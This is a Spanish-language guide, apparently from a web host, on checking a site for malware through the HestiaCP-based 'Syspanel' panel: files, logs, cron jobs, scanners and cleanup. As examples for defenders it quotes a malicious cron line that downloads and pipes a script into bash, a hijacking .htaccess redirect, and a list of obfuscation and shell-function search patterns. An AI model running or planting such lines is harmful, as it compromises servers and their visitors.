Comprobar Infección Web en Syspanel | Detección de Malware

¿Sospechas que tu web se ha visto comprometida? Esa sensación de que algo va mal, de que la página carga lento, muestra anuncios raros o directamente te redirige a sitios extraños, es más común de lo que piensas. Te voy a contar un secreto: los ciberdelincuentes no duermen, y tus archivos son su objetivo.

Pero no cunda el pánico. Hoy vas a aprender, paso a paso, a detectar malware en Syspanel y, lo más importante, a saber si tu web está infectada. Vamos a convertirnos en detectives digitales, pero sin necesidad de ser un hacker experto. Usaremos las herramientas que ya tienes en tu panel de control.

Este artículo es tu guía definitiva. Vamos a abrir el capó de tu servidor y mirar el motor. Te enseñaré a usar Syspanel (recuerda, el acceso es por el puerto 2106) para revisar logs, archivos y procesos. Al final, tendrás un plan claro de acción para limpiar virus en Syspanel y blindar tu proyecto.

Primero, ¿Qué es Syspanel y por qué es tu aliado?

Antes de ponernos manos a la obra, hablemos de tu herramienta. Syspanel es el nombre que recibe el panel de control de tu hosting (basado en HestiaCP), una interfaz gráfica que te permite gestionar todo tu servidor sin tocar una línea de comandos. Es tu centro de operaciones.

Para acceder a él, simplemente abre tu navegador y escribe la dirección de tu servidor seguida de dos puntos y el número 2106. Por ejemplo: https://tu-dominio.com:2106. Ahí verás tu escritorio de administración. Desde aquí gestionas cuentas de correo, bases de datos, dominios y, lo más importante para nosotros ahora, los archivos de tu web.

La ventaja de Syspanel es que centraliza todo. No necesitas ser un experto en SSH ni en comandos Unix. Con un par de clics, puedes navegar por el sistema de archivos, ver los registros de actividad (logs) y ejecutar tareas de mantenimiento. Es la navaja suiza del administrador web.

Señales de Alarma: ¿Tu Web Está Infectada?

Tu web no te va a decir "hola, tengo un virus". Pero te da pistas. Aprender a leer estas señales es el primer paso para saber si tu web está infectada. No todas significan un malware, pero si ves varias juntas, es hora de investigar.

Síntomas visibles para el usuario

Redirecciones extrañas: Escribes tu dominio y te lleva a una página de apuestas, farmacias online o, peor aún, a una web de phishing.
Anuncios invasivos: Aparecen banners o ventanas emergentes que no has puesto tú. Suelen estar en las páginas de error o al hacer clic en cualquier parte.
Rendimiento pésimo: La web tarda una eternidad en cargar. Esto ocurre porque el malware está usando tu servidor para enviar correos spam o minar criptomonedas.
Mensajes del navegador: Google Chrome o Firefox te avisan de que el sitio no es seguro o que contiene "software engañoso". Esto es una bandera roja gigante.

Señales internas en el código

Contenido oculto: En tu HTML, hay texto o enlaces invisibles (con color blanco sobre fondo blanco) que apuntan a webs externas.
Archivos desconocidos: Aparecen archivos con nombres raros como wp-login.php.bak, 0day.php o carpetas como /tmp con scripts sospechosos.
Cambios en permisos: Los archivos que antes tenían permisos 644 ahora tienen 777, lo que significa que cualquiera puede escribir en ellos.

Método 1: Revisión Manual de Archivos en Syspanel

Esta es la forma más directa de detectar malware en Syspanel. No necesitas herramientas externas, solo tu panel y un poco de paciencia. Vamos a navegar por las carpetas de tu web.

Accede al Administrador de Archivos

Inicia sesión en Syspanel (puerto 2106).
En el menú lateral, busca la sección "Web" o "Dominios".
Haz clic en el dominio que quieres revisar. Se abrirá una página con opciones.
Busca y haz clic en el icono de "Administrador de Archivos" (suele ser una carpeta amarilla).

Ahora tienes delante el árbol de directorios de tu sitio. Normalmente, tu web está en una carpeta llamada public_html o web.

Busca los Archivos Sospechosos

Dentro de public_html, presta atención a lo siguiente:

Archivos PHP en el directorio raíz: Es normal tener index.php, wp-config.php (si usas WordPress). Pero, ¿qué es ese archivo cron.php o uploader.php que no recuerdas haber creado? Investiga.
Carpetas de más: cache, tmp, logs... algunas son legítimas. Pero si ves una carpeta llamada wp-admin duplicada o js con archivos .php dentro, es sospechoso.
Archivos con doble extensión: imagen.jpg.php o archivo.pdf.exe. Esto es un clásico truco de malware.

¿Cómo saber si un archivo es malicioso? Haz clic derecho sobre él y selecciona "Editar". Si ves código ofuscado (una línea interminable de caracteres raros, eval(base64_decode(...)), etc.), es casi seguro que es un virus.

[WARNING] No edites ni borres archivos si no estás seguro. Si ves algo raro, descárgalo a tu ordenador y pásalo por un antivirus o un escáner online como VirusTotal.

Método 2: La Caza de Código Malicioso con el Editor

A veces, el malware se esconde dentro de archivos legítimos. Un hacker puede inyectar una línea de código en tu index.php o en el functions.php de tu tema. Por eso, la revisión manual debe ser más profunda.

Revisa los Archivos Clave

index.php de la raíz: Debe ser un archivo pequeño que solo carga el núcleo de WordPress o tu framework. Si es enorme o tiene código extraño al principio o al final, es malo.
.htaccess: Este archivo es un imán para el malware. Un código malicioso puede redirigir todo tu tráfico. Ábrelo y busca líneas como RewriteRule ^(.*)$ http://web-maliciosa.com/ o códigos base64.
Archivos de configuración: wp-config.php, config.php, etc. Si ves líneas de código que no reconoces, alarma.

Usa la Búsqueda de Syspanel

El administrador de archivos de Syspanel tiene un buscador. Úsalo a tu favor.

En la parte superior del administrador de archivos, busca el icono de "Buscar" (suele ser una lupa).
Busca patrones comunes de malware: eval(base64_decode, gzinflate, str_rot13, shell_exec, passthru.
Esto te mostrará todos los archivos que contienen esos fragmentos. No todos son malos, pero son un punto de partida excelente.

[INFO] Si usas WordPress, presta especial atención a la carpeta wp-content/uploads. A veces, los atacantes suben archivos PHP disfrazados de imágenes. Busca en esa carpeta archivos con extensión .php y revísalos.

Método 3: Analizando los Logs del Servidor

Los logs son el diario de tu servidor. Aquí se registra todo lo que pasa. Si tu web está infectada, los logs te contarán la historia. No es la parte más divertida, pero es muy reveladora.

Acceso a los Logs de Acceso y Error

En Syspanel, ve a la sección de tu dominio y busca "Registros" o "Logs". Verás dos tipos principales:

Access Log: Registra cada visita, dirección IP, archivo solicitado, código de respuesta, etc.
Error Log: Registra los errores del servidor, como intentos de ejecutar scripts fallidos.

Qué Buscar en los Logs

Picos de tráfico inusuales: Si ves miles de peticiones a un archivo como xmlrpc.php o a un script en una carpeta temporal, es un ataque.
IPs sospechosas: Busca direcciones IP que repiten una y otra vez la misma petición (fuerza bruta).
Códigos de error 500: Si ves muchos errores 500 en archivos .php que no reconoces, es que un script malicioso está fallando.

[TIP] No necesitas leer los logs línea por línea. Usa la función de búsqueda del visor de logs de Syspanel para filtrar por "error", por una IP concreta o por un nombre de archivo sospechoso.

Método 4: Consultar el Estado de las Tareas Programadas (Cron)

El malware a menudo crea tareas programadas (cron jobs) para ejecutarse en segundo plano. De esta forma, aunque borres el archivo malicioso, el cron lo vuelve a descargar o a ejecutar. Es un mecanismo de persistencia.

Revisando los Cron Jobs en Syspanel

En el menú principal de Syspanel, busca la sección "Cron" o "Tareas Programadas".
Revisa la lista de tareas existentes.
Busca cualquier tarea que apunte a un archivo en tu public_html que no hayas creado tú. Por ejemplo: wget http://malware.com/script.sh | bash o php /home/usuario/web/dominio/public_html/cron.php.

Si encuentras una tarea así, es la prueba definitiva de una infección. Bórrala inmediatamente.

[WARNING] Las tareas cron también las usa el sistema para cosas legítimas (renovaciones de SSL, backups, etc.). No borres nada que no entiendas. Si dudas, busca el nombre de la tarea en Google antes de eliminarla.

Método 5: Uso de Herramientas Externas de Escaneo

Syspanel es genial, pero no tiene un antivirus integrado. Para una segunda opinión, podemos usar herramientas externas. No las necesitas todas, pero son un gran complemento.

Escáneres Online de Seguridad

Sucuri SiteCheck: Es gratuito y muy popular. Solo tienes que poner tu URL y te dice si hay malware, listas negras, etc. Es perfecto para una evaluación rápida.
Quttera: Otro escáner online que analiza el contenido de tu web en busca de firmas de malware.
VirusTotal: Sube archivos sospechosos que hayas descargado de tu servidor y este los analiza con más de 50 antivirus.

Escáneres para tu CMS (Si usas WordPress)

Si tu web es WordPress, tienes plugins específicos que te ayudan a detectar malware en Syspanel (o más bien, en tu instalación de WP).

Wordfence: Es el plugin de seguridad más completo. Tiene un escáner de archivos que compara tu instalación con la oficial y detecta cambios.
Sucuri Security: Otro plugin excelente que hace escaneo de malware y monitoreo de integridad de archivos.

[INFO] Los escáneres online son útiles para detectar malware visible, pero el código malicioso bien escondido puede pasar desapercibido. La combinación de escáner online + revisión manual en Syspanel es la estrategia más sólida.

Plan de Acción: ¿Qué Hacer si Confirmas la Infección?

Has encontrado el virus. Ahora toca actuar. No te voy a engañar, limpiar virus en Syspanel puede ser tedioso, pero es factible. Sigue estos pasos en orden.

Paso 1: Aísla y Haz una Copia de Seguridad

Pon tu web en mantenimiento: Esto evita que los usuarios sigan viendo contenido infectado y que el malware siga propagándose.
Descarga una copia de seguridad: Ve a Syspanel, sección "Backup" y descarga una copia de tus archivos y base de datos. Guárdala en tu ordenador. No la subas de nuevo hasta que estés seguro de que está limpia.

Paso 2: Limpieza Manual (El Método Quirúrgico)

Usando el administrador de archivos de Syspanel:

Elimina los archivos maliciosos: Borra todos los archivos que hayas identificado como sospechosos.
Limpia los archivos legítimos: Si un archivo como index.php tiene código inyectado, edítalo y elimina las líneas maliciosas. Si no te ves capaz, puedes reemplazar el archivo por una versión limpia desde la instalación original de tu CMS.
Revisa el .htaccess: Restáuralo a su estado original o reemplázalo por uno limpio.
Limpia la base de datos: El malware puede esconderse en tablas de la base de datos. Usa phpMyAdmin (desde Syspanel) para buscar y eliminar código malicioso en los campos de contenido. ¡Cuidado! Esto es delicado. Si no sabes lo que haces, busca ayuda profesional.

Paso 3: Refuerza la Seguridad

Limpiar es solo la mitad del trabajo. La otra mitad es evitar que vuelva a pasar.

Cambia todas las contraseñas: Las de Syspanel, FTP, base de datos y las de los usuarios administradores de tu CMS.
Actualiza todo: CMS, plugins, temas. Las versiones antiguas tienen agujeros de seguridad.
Elimina usuarios desconocidos: Revisa la lista de usuarios de tu CMS y borra cualquiera que no reconozcas.
Revisa los permisos de archivos: Asegúrate de que los archivos no tengan permisos 777. Deben ser 644 y las carpetas 755.

Preguntas Frecuentes (FAQ) sobre Infecciones en Syspanel

¿Syspanel tiene un antivirus integrado?
No, Syspanel no tiene un antivirus automático. Por eso es crucial saber usar sus herramientas (archivos, logs, cron) para la detección manual. Es como tener una llave, pero tú debes saber qué puerta abrir.

¿Por qué mi web se infecta si tengo Syspanel?
Syspanel es un panel de control, no un antivirus. La infección suele ocurrir por vulnerabilidades en tu CMS, plugins, contraseñas débiles o software desactualizado. Syspanel te da la plataforma, pero la seguridad de tu aplicación es tu responsabilidad.

¿Cuánto tiempo tarda en limpiar una web infectada?
Depende de la gravedad. Una infección leve (un archivo malicioso) puede limpiarse en 15 minutos. Una infección profunda que ha modificado muchos archivos puede llevarte horas o incluso días. La paciencia es clave.

¿Puedo evitar que mi web se infecte de nuevo?
Sí, con buenas prácticas: actualiza todo, usa contraseñas fuertes, instala un plugin de seguridad (si usas WordPress) y haz copias de seguridad periódicas. La prevención es el mejor antivirus.

¿Qué hago si no me atrevo a limpiar el malware yo mismo?
No pasa nada. Es una tarea técnica. Puedes contratar a un profesional o a un servicio de limpieza de malware. Ellos tienen herramientas y experiencia para hacerlo rápido y de forma segura. A veces, lo barato sale caro, y arriesgar tu web entera no vale la pena.

Conclusión: Tú Puedes con Esto

Saber si tu web está infectada es el primer paso para recuperar el control. Con Syspanel y esta guía, ya no estás a ciegas. Has aprendido a usar el administrador de archivos, a leer los logs, a revisar los cron jobs y a usar herramientas externas.

Recuerda, la clave está en la revisión periódica. No esperes a que tu web te dé señales de alarma. Acostúmbrate a mirar tus archivos y logs una vez al mes. Es como revisar el aceite del coche: un pequeño gesto que te ahorra un gran problema.

Si has llegado hasta aquí, ya sabes cómo comprobar si tu web está infectada en Syspanel. Ahora, ve y pon en práctica lo aprendido. Tu web te lo agradecerá. Y si en algún momento te sientes perdido, vuelve a este artículo. Estará aquí para